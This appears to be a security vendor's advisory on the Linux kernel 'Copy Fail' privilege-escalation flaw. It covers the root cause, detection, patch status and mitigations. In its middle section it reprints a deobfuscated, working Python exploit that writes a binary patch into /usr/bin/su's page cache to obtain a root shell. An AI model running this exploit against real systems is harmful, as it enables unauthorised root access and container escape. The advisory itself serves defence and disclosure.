Copy Fail Linux Kernel Lpe

Copy Fail: 732 Bytes to Root on Every Linux Distribution Since 2017

Copy Fail: 732 Bytes to Root on Every Linux Distribution Since 2017
Imagine a vulnerability so simple that a 732-byte Python script — shorter than this paragraph — can give any logged-in user full administrator control of the machine. No special permissions. No race conditions to win. No tricks to time. Just open a socket, splice a file, and root is yours. That's what Copy Fail does to every mainstream Linux distribution shipped in the last nine years.

Executive Summary

CVE-2026-31431 — nicknamed "Copy Fail" — is a local privilege escalation vulnerability in the Linux kernel's cryptographic subsystem. A logic flaw in the algif_aead module, introduced in 2017, allows any unprivileged local user to write arbitrary data into the kernel's in-memory file cache — without ever modifying the file on disk. Here is what that means in practice:

  • Any user becomes root — No special permissions, capabilities, or group memberships needed. A regular user account is enough.
  • Fully deterministic — Unlike previous kernel exploits, there is no race condition to win. The exploit succeeds every time, on the first try.
  • 732 bytes to root — The complete exploit fits in a single Python script shorter than a typical configuration file.
  • Nine years of exposure — Every mainstream Linux distribution shipped since 2017 is affected: Ubuntu, RHEL, Debian, SUSE, Amazon Linux, Arch, and more.
  • Invisible to forensics — The exploit only modifies the kernel's in-memory file cache. The actual file on disk remains untouched. Standard integrity monitoring tools see nothing.
  • Container escape vector — The page cache is shared across container boundaries. A compromised container can escalate to host root.
  • Self-cleaning — A reboot wipes the evidence. The corrupted memory is discarded and the original file is reloaded from disk.
  • Public exploit code available — Working proof-of-concept exploits for Ubuntu, RHEL, Amazon Linux, and SUSE are publicly available.

The Vulnerability at a Glance

In April 2026, security researchers publicly disclosed a nine-year-old logic flaw in how the Linux kernel handles authenticated encryption. The vulnerability was assigned CVE-2026-31431 with a CVSS score of 7.8 (High). Despite the seemingly moderate score, the real-world impact is critical: any unprivileged local user can obtain root access in seconds.

Field Detail
CVE CVE-2026-31431
Nickname Copy Fail
Type Local Privilege Escalation (LPE) + Container Escape
CVSS v3.1 7.8 (High)
Vector AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-669 (Incorrect Resource Transfer Between Spheres)
Component algif_aead / authencesn (AF_ALG crypto interface)
Bug Introduced 2017 — Linux 4.14 (commit 72548b093ee3)
Affected Kernels 4.14 through 7.0-rc (all unpatched)
Auth Required Any unprivileged local user (PR:L)
User Interaction None (UI:N)
Disclosed April 29, 2026 (oss-security)
Exploit Status Public PoC available — weaponized
Critical detail: The CVSS score of 7.8 drastically understates the real-world impact. The exploit requires zero user interaction, works deterministically (no race condition), and affects every default kernel configuration since 2017. In practice, any unprivileged shell — including a compromised container — should be treated as full root access on an unpatched system.

Root Cause: Three Safe Subsystems, One Deadly Combination

What this means in plain terms: Think of the kernel's file cache like a library's reading room. Books (files) are brought from the vault (disk) and placed on reading tables (memory) for visitors to read. A security rule says visitors can look but never write in the books. Copy Fail found a loophole: by asking the cryptography department to "verify" a book, the verification process accidentally writes four bytes into the book on the reading table — before checking whether the verification even passed. The book in the vault is untouched, but everyone reading that book in the reading room now sees the altered version.

The vulnerability chains three kernel subsystems that were each independently safe but become exploitable in combination:

1. AF_ALG: Unprivileged Access to Kernel Cryptography

The Linux kernel exposes its cryptographic subsystem to userspace through AF_ALG sockets — a standard socket family (family 38) that allows any unprivileged user to request encryption and decryption operations. No special privileges, capabilities, or kernel modules are required. The socket is created with standard syscalls: socket(), bind(), accept().

2. splice(): Zero-Copy File Transfer via Page Cache

The splice() system call transfers data between file descriptors without copying it through userspace. When splicing from a regular file, the kernel passes page-cache page references directly — the actual memory pages where the kernel caches file contents. This is a performance optimization: instead of copying data, the kernel just hands over pointers to the existing pages.

3. The 2017 In-Place Optimization — The Fatal Change

In 2017, commit 72548b093ee3 optimized the AEAD interface in algif_aead.c to perform encryption and decryption in-place — setting req->src = req->dst. For decryption, the code copied AAD and ciphertext from the transmit buffer into the receive buffer, but chained the authentication tag pages by reference using sg_chain(). After this optimization, page-cache pages from splice() now sat in the writable destination scatterlist.

The Write-Before-Verify Bug

The authencesn AEAD wrapper — used by IPsec for Extended Sequence Number (ESN) support — performs a 4-byte scratch write before verifying the HMAC authentication tag:

// authencesn.c — lines 277-279
// The write-before-verify bug

scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

// ^^^ Writes 4 bytes at offset (assoclen + cryptlen) into the destination scatterlist
// These 4 bytes are the ESN sequence number rearrangement scratch space
// The destination contains page-cache pages from splice()
// HMAC verification happens AFTER this write
// When HMAC fails (EBADMSG), the 4-byte write has already been committed

The result: a controlled 4-byte write primitive against any readable file's cached memory representation, using only standard unprivileged syscalls.

Vulnerable Code Paths

File Lines Role
algif_aead.c 235–244, 251–252 In-place optimization: sets req->src = req->dst
af_alg.c 1049–1064 splice() path: places page-cache pages into scatterlist
authencesn.c 277–279 Write-before-verify: ESN rearrangement writes into page cache
Why this went undetected for nine years: Each component behaves correctly in isolation. authencesn was designed in 2011 when it only operated on internal kernel buffers — the scratch write was harmless. splice() safely passes page references for read operations. The 2017 in-place optimization connected these two paths, placing external page-cache pages where only internal buffers were expected. No single code review would catch this without understanding all three subsystems simultaneously.

The Exploit Chain: From Unprivileged User to Root

The following is based on publicly available proof-of-concept code and security research. The exploit is fully deterministic — no race conditions, no timing tricks, no brute-forcing.

// Full exploit chain — 732 bytes to root [PHASE 1] Socket Setup AF_ALG socket → bind(authencesn(hmac(sha256),cbc(aes))) → accept(). No privileges. [PHASE 2] Page Cache Injection splice(target_file → pipe → alg_socket). Page-cache pages enter writable scatterlist. [PHASE 3] Controlled Write sendmsg(AAD with target value) → recv() triggers authencesn → 4-byte page-cache write [PHASE 4] Repeat Loop phases 1-3 to write 4 bytes at a time across the target binary's page cache [PHASE 5] Root Execute corrupted setuid binary (/usr/bin/su) → kernel loads patched page cache → root shell

Phase 1: Socket Setup

The attacker opens a connection to the kernel's built-in cryptography service. This service is available to every user on the system — it wasn't designed to be restricted because cryptographic operations were never supposed to modify external data.

The exploit opens an AF_ALG socket (family 38, type SOCK_SEQPACKET) and binds it to the authencesn(hmac(sha256),cbc(aes)) algorithm — specifically chosen because authencesn has the ESN scratch-write behaviour. An arbitrary encryption key is set (the key value doesn't matter — authentication will intentionally fail), and the request socket is obtained via accept().

Phase 2: Page Cache Injection

The attacker feeds the target file's memory representation into the cryptography socket. The kernel, for performance reasons, passes the actual memory pages rather than copies — this is the critical link that makes the exploit possible.

The target setuid binary (typically /usr/bin/su) is opened read-only. Using splice(), the file's page-cache pages are transferred through a pipe into the AF_ALG request socket. Because splice() operates on page references rather than copies, the kernel's cached pages for /usr/bin/su now sit in the AF_ALG socket's RX scatterlist — in a writable position.

Phase 3: Controlled Write

The attacker triggers a decryption operation. The kernel's cryptographic routine writes four bytes — chosen by the attacker — directly into the file's memory representation. The cryptographic verification then fails (as intended), but the damage is already done.

sendmsg() provides the Associated Authenticated Data (AAD) with the attacker's desired 4-byte value embedded in bytes 4–7 (the seqno_lo field). recv() triggers the in-place decryption. authencesn writes 4 bytes at offset assoclen + cryptlen into the page cache. HMAC verification then fails (EBADMSG) — but the 4-byte write has already been committed to the page cache.

// THE CORE PRIMITIVE — ATTACKER-CONTROLLED 4-BYTE PAGE-CACHE WRITE // What the attacker controls: TARGET FILE = file descriptor passed to splice() // any readable file WRITE OFFSET = splice offset + length + assoclen // arbitrary position WRITE VALUE = AAD bytes 4-7 (seqno_lo field) // any 4 bytes // What happens inside the kernel: 1. socket(AF_ALG) + bind("authencesn(hmac(sha256),cbc(aes))") // unprivileged 2. splice(target_fd → pipe → alg_fd) // page-cache refs enter writable dst 3. sendmsg(AAD) + recv() // authencesn writes 4B → page cache 4. HMAC fails → EBADMSG returned // but write is already committed ✓ The core write primitive: a controlled 4-byte overwrite into any readable file's page cache, using only unprivileged syscalls. The write persists even though the cryptographic operation fails.

The Exploit in Action

The screenshot below — from the original disclosure — shows the same 732-byte exploit executed across four distributions simultaneously. Each terminal starts as an unprivileged user (uid=1001) and ends at uid=0(root). Same script, four distributions, four root shells:



Same script, four distributions, four root shells. Each pane starts as xint (uid=1001) and ends at root (uid=0). Source: copy.fail

The Exploit Code: 732 Bytes to Root

The following is the publicly available proof-of-concept exploit, deobfuscated and annotated. The original code uses single-letter variable names and aliased module imports — below is the functional breakdown:

// EXPLOIT FUNCTION: 4-BYTE PAGE-CACHE WRITE PRIMITIVE // c(file_fd, offset, value) — writes 4 bytes of 'value' at 'offset' into the target file's page cache def write_page_cache(file_fd, offset, value): # ─── PHASE 1: SOCKET SETUP ─────────────────────────────────── alg = socket.socket( 38, # AF_ALG — kernel crypto interface 5, # SOCK_SEQPACKET 0) alg.bind(("aead", # algorithm type "authencesn(hmac(sha256),cbc(aes))")) # ESN AEAD wrapper SOL_ALG = 279 alg.setsockopt(SOL_ALG, 1, # ALG_SET_KEY bytes.fromhex('0800010000000010' + '0'*64)) # 40-byte key (value irrelevant) alg.setsockopt(SOL_ALG, 5, None, 4) # ALG_SET_AEAD_AUTHSIZE = 4 bytes req, _ = alg.accept() # request socket for I/O # ─── PHASE 2: PAYLOAD + CONTROL MESSAGE ────────────────────── splice_len = offset + 4 zero = b'\x00' req.sendmsg( [b"A"*4 + value], # AAD (4B) + target value (4B) [(SOL_ALG, 3, zero*4), # ALG_SET_IV: 4-byte zero IV (SOL_ALG, 2, b'\x10'+zero*19), # ALG_SET_OP: decrypt (SOL_ALG, 4, b'\x08'+zero*3)], # assoclen = 8 32768) # MSG_DONTWAIT # ─── PHASE 3: PAGE CACHE INJECTION VIA splice() ────────────── r, w = os.pipe() os.splice(file_fd, w, splice_len, offset_src=0) # file pages → pipe os.splice(r, req.fileno(), splice_len) # pipe → AF_ALG socket # ^^^ page-cache pages now in writable destination scatterlist # ─── PHASE 4: TRIGGER WRITE-BEFORE-VERIFY ──────────────────── try: req.recv(8 + offset) # triggers authencesn → 4B write to page cache except OSError: pass # EBADMSG expected — write already committed The core exploit function: creates an AF_ALG socket, injects page-cache pages via splice(), and triggers the write-before-verify bug. Each call writes exactly 4 bytes at a controlled offset. Source: Public PoC (deobfuscated)
// MAIN EXPLOIT — PATCH SETUID BINARY + EXECUTE # ─── TARGET SETUP ────────────────────────────────────────────── target_fd = os.open("/usr/bin/su", 0) # O_RDONLY — we only need read access # ─── PAYLOAD — COMPRESSED BINARY PATCH ───────────────────────── payload = zlib.decompress(bytes.fromhex( "78daab77f57163626464800126063b0610af82c101cc7760c004" "0e0c160c301d209a154d16999e07e5c1680601086578c0f0ff86" "4c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa4999" "79fac5190c0c0c0032c310d3" )) # ^^^ Decompresses to ~80-120 bytes of target-specific opcodes/patch data # ^^^ This blob is specific to one version of /usr/bin/su # ─── EXPLOITATION LOOP — 4 BYTES PER ITERATION ───────────────── offset = 0 while offset < len(payload): write_page_cache(target_fd, offset, payload[offset:offset+4]) offset += 4 # ─── TRIGGER — EXECUTE THE CORRUPTED SETUID BINARY ───────────── os.system("su") # kernel loads patched page cache → root shell The main exploit loop: opens /usr/bin/su read-only, decompresses a target-specific binary patch, writes it 4 bytes at a time into the page cache, then executes su to obtain root. The entire script is 732 bytes. Source: Public PoC (deobfuscated)
Why 732 bytes is all it takes: The exploit needs no shellcode loader, no ROP chain, no heap spray. The kernel's own cryptographic subsystem does the writing. The only payload is the binary patch for /usr/bin/su — compressed to ~57 bytes with zlib — plus the socket setup and splice loop. Per-distribution variants targeting Ubuntu 24.04, Amazon Linux 2023, RHEL 10.1, and SUSE 16 are available in the public PoC repository.

Phase 4–5: Repeat and Execute

The exploit loops through the target binary in 4-byte increments, patching the page-cache representation of /usr/bin/su with a prepared payload — typically overwriting privilege-check logic with shellcode that spawns a root shell. Each iteration creates a new AF_ALG socket and repeats the write primitive at the next offset. Once the binary is fully patched in memory, executing su loads the corrupted version from the page cache. Root shell obtained.

The entire exploit chain uses only standard unprivileged syscalls: socket(), setsockopt(), splice(), sendmsg(), recvmsg(). No capabilities, no kernel modules, no special group memberships. The algorithm (authencesn) is available in every default kernel configuration.

Forensic Evasion: The Ghost in the Page Cache

What this means in plain terms: Imagine an intruder who can alter what a security camera shows — but the recording on the hard drive stays untouched. When investigators review the tapes, they see nothing wrong. Only someone watching the live feed at the exact right moment would notice the manipulation. That's what Copy Fail does to files in memory — the disk copy is perfect, but the version the kernel actually uses has been silently altered.

Copy Fail's page-cache write primitive creates a uniquely difficult forensic situation:

  • The corrupted page is never marked dirty — the kernel never schedules it for writeback, so the file on disk remains byte-identical to the original
  • Standard file integrity monitoring (AIDE, OSSEC, Tripwire) sees nothing — these tools compare on-disk checksums, and the disk is clean
  • Forensic disk imaging shows a clean system — standard incident response procedures based on disk analysis will miss the compromise entirely
  • The exploit is self-cleaning — a reboot or memory pressure causes the cache to be evicted. The kernel reloads the original file from disk, and all evidence disappears
  • No log entries are generated — the AF_ALG socket operations and splice() calls produce no audit trail by default

Container Escape

The page cache is shared across all processes on a host, including across container boundaries. A compromised container workload can corrupt the page cache of host-level setuid binaries and escalate to host root. This makes Copy Fail both a local privilege escalation and a container escape vector. Kubernetes nodes and CI/CD runners are highest-priority targets.

What Will Detect It

Detection Method Mechanism
Syscall auditing Watch for socket(AF_ALG) + bind(authencesn) + splice() chain from non-crypto processes
Kernel log monitoring Repeated EBADMSG errors from the crypto subsystem — each failed HMAC is one 4-byte write
Runtime memory integrity Compare a running process's in-memory pages (/proc/PID/maps) against the on-disk binary
File descriptor monitoring The PoC leaks FDs — watch for processes with rapidly growing descriptor counts
Seccomp policies Block AF_ALG (family 38) socket creation in container workloads

Historical Context: The Page-Cache Exploit Lineage

Copy Fail is the third major Linux kernel vulnerability exploiting the page cache for privilege escalation. Each iteration has been more reliable than the last:

Dirty Cow (2016) Dirty Pipe (2022) Copy Fail (2026)
CVE CVE-2016-5195 CVE-2022-0847 CVE-2026-31431
Mechanism Copy-on-write race condition Uninitialised pipe buffer flags AEAD write-before-verify
Deterministic? No — race condition Mostly — some alignment constraints Fully deterministic
Write constraints Timing-sensitive, may crash Cannot write first byte of page Arbitrary offset, arbitrary value
Exploit complexity High — requires winning a race Medium — requires pipe alignment Trivial — 732-byte Python script
Years exposed 9 years (2007–2016) 1 year (2021–2022) 9 years (2017–2026)
Copy Fail represents the most reliable page-cache write primitive ever discovered in the Linux kernel. No race conditions, no alignment constraints, no brute-forcing. It works on the first attempt, every time.

Affected Systems

Every mainstream Linux distribution shipping a kernel between 4.14 (October 2017) and the patched versions is vulnerable. The module (CONFIG_CRYPTO_USER_API_AEAD) is enabled by default in virtually every distribution's kernel configuration.

Confirmed Vulnerable

Distribution Tested Kernel Patch Status (May 2, 2026)
Ubuntu 24.04 LTS 6.17.0-1007-aws Patching
Amazon Linux 2023 6.18.8-9.213.amzn2023 Vulnerable
RHEL 10.1 6.12.0-124.45.1.el10_1 Patching
SUSE 16 6.12.0-160000.9-default Patching
Debian Various Vulnerable
Arch Linux Latest Patched
Fedora / Rocky / AlmaLinux Various Patching
CloudLinux 7h, 8, 9, 10 Various KernelCare livepatching

Not Affected

  • Linux kernels before 4.14 (pre-2017, before the in-place optimization)
  • CloudLinux 7 (legacy kernel path)
  • Ubuntu 26.04 "Resolute" and later (shipped with fix)
  • Systems compiled with CONFIG_CRYPTO_USER_API_AEAD=n (rare in practice)

The Fix and Patch Status

The upstream fix (commit a664bf3d603d) reverts the 2017 in-place optimization. It separates req->src from req->dst, ensuring page-cache pages from splice() never enter a writable scatterlist. The fix eliminates the in-place complexity since source and destination originate from different memory mappings.

Kernel Branch Fixed Version Commit
Mainline 7.0 a664bf3d603d
6.19.x 6.19.12 ce42ee423e58
6.18.x 6.18.22 fafe0fa2995a
6.12.x 6.12.85 —
6.6.x 6.6.137 —
6.1.x 6.1.170 —
5.15.x 5.15.204 —
5.10.x 5.10.254 —

Timeline

Date Event
2011 authencesn template added to kernel — ESN scratch write is harmless (internal buffers only)
2015 AF_ALG AEAD support added with splice() path
2017 (Linux 4.14) Bug introduced: In-place AEAD optimization merged (commit 72548b093ee3)
Apr 1, 2026 Upstream fix committed to mainline (commit a664bf3d603d)
Apr 22, 2026 CVE-2026-31431 published on NVD
Apr 29, 2026 Public disclosure on oss-security mailing list with working PoC
Apr 30, 2026 Vendor patches begin rolling out — Arch patched, Ubuntu/RHEL/SUSE in progress
May 2, 2026 This advisory published

Remediation

Patch Now

Update to the patched kernel version for your distribution. Refer to the patch table above for the minimum fixed version in each kernel branch.

Immediate Mitigations (If Patching Is Not Yet Possible)

Three mitigation options are available depending on your distribution and deployment model:

Option 1: Disable Module (Distros with Loadable Module)

# Block algif_aead module loading and unload if present
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true

Option 2: Boot Parameter (RHEL-Family — Module Compiled In)

# Prevent algif_aead_init from running at boot (requires reboot)
sudo grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
sudo reboot

# Verify
grep initcall_blacklist /proc/cmdline
RHEL-Family Warning: The modprobe.d blacklist method does not work on RHEL, CentOS, AlmaLinux, Rocky, or CloudLinux because algif_aead is compiled into the kernel (CONFIG_CRYPTO_USER_API_AEAD=y), not loaded as a module. Use the boot parameter method instead.

Option 3: Seccomp Policy (Containers / Kubernetes)

Block AF_ALG (family 38) socket creation at the seccomp layer for containerised workloads:

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [{
    "names": ["socket"],
    "action": "SCMP_ACT_ERRNO",
    "args": [{
      "index": 0,
      "value": 38,                // AF_ALG = 38
      "op": "SCMP_CMP_EQ"
    }]
  }]
}

Compatibility Impact

Low impact for most workloads. The following services do not depend on AF_ALG AEAD and are unaffected by the mitigation: dm-crypt/LUKS, kTLS, IPsec, SSH, OpenSSL (default configuration), and GnuTLS (default configuration). Only applications explicitly using the AF_ALG kernel interface for AEAD ciphers will be impacted — this is uncommon outside of specialised embedded or hardware-accelerated cryptographic workloads.

Conclusion

Copy Fail represents a new high-water mark for Linux kernel privilege escalation. Unlike its predecessors — Dirty Cow required winning a race condition, Dirty Pipe had alignment constraints — Copy Fail is fully deterministic. The exploit works on the first attempt, every time, against every default kernel configuration shipped since 2017.

The forensic evasion properties make this particularly dangerous for incident response: the attack leaves no trace on disk, generates no log entries by default, and self-destructs on reboot. For organisations running multi-tenant infrastructure — cloud VMs, container platforms, CI/CD systems — any unprivileged process should be treated as a potential root-level threat until the kernel is patched.

The nine-year exposure window (2017–2026) is a sobering reminder that kernel security bugs can hide in plain sight for nearly a decade. The vulnerable code was reviewed, optimised, and maintained by the kernel community for years — yet the cross-subsystem interaction between AF_ALG, splice(), and authencesn was never analysed as a unit until researchers connected the dots.

Patch. Mitigate. Verify.


References

Resource URL
NVD Entry nvd.nist.gov/vuln/detail/CVE-2026-31431
CERT-EU Advisory cert.europa.eu/publications/security-advisories/2026-005
PoC Exploit Repository github.com/theori-io/copy-fail-CVE-2026-31431
Bug-Introducing Commit 72548b093ee38a6d4f2a19e6ef1948ae05c181f7
Fix Commit (Mainline) a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
TechOwl SHIELD
Continuous Threat Intelligence & Attack Surface Monitoring

Vulnerability Assessment

Deep technical analysis of vulnerabilities affecting your infrastructure — beyond CVSS scores to real-world exploitability and impact.

Attack Surface Intelligence

Passive mapping of your external presence — every exposed service, endpoint, and piece of infrastructure visible to the public internet.

Threat Hunting

Proactive detection of compromise indicators, APT activity, and post-exploitation artifacts across your email and identity infrastructure.

Dark Web Monitoring

Continuous surveillance of stolen credential markets, threat actor forums, and data leak channels. Know when you're being targeted before it becomes an incident.

© 2026 TechOwl SHIELD. All rights reserved.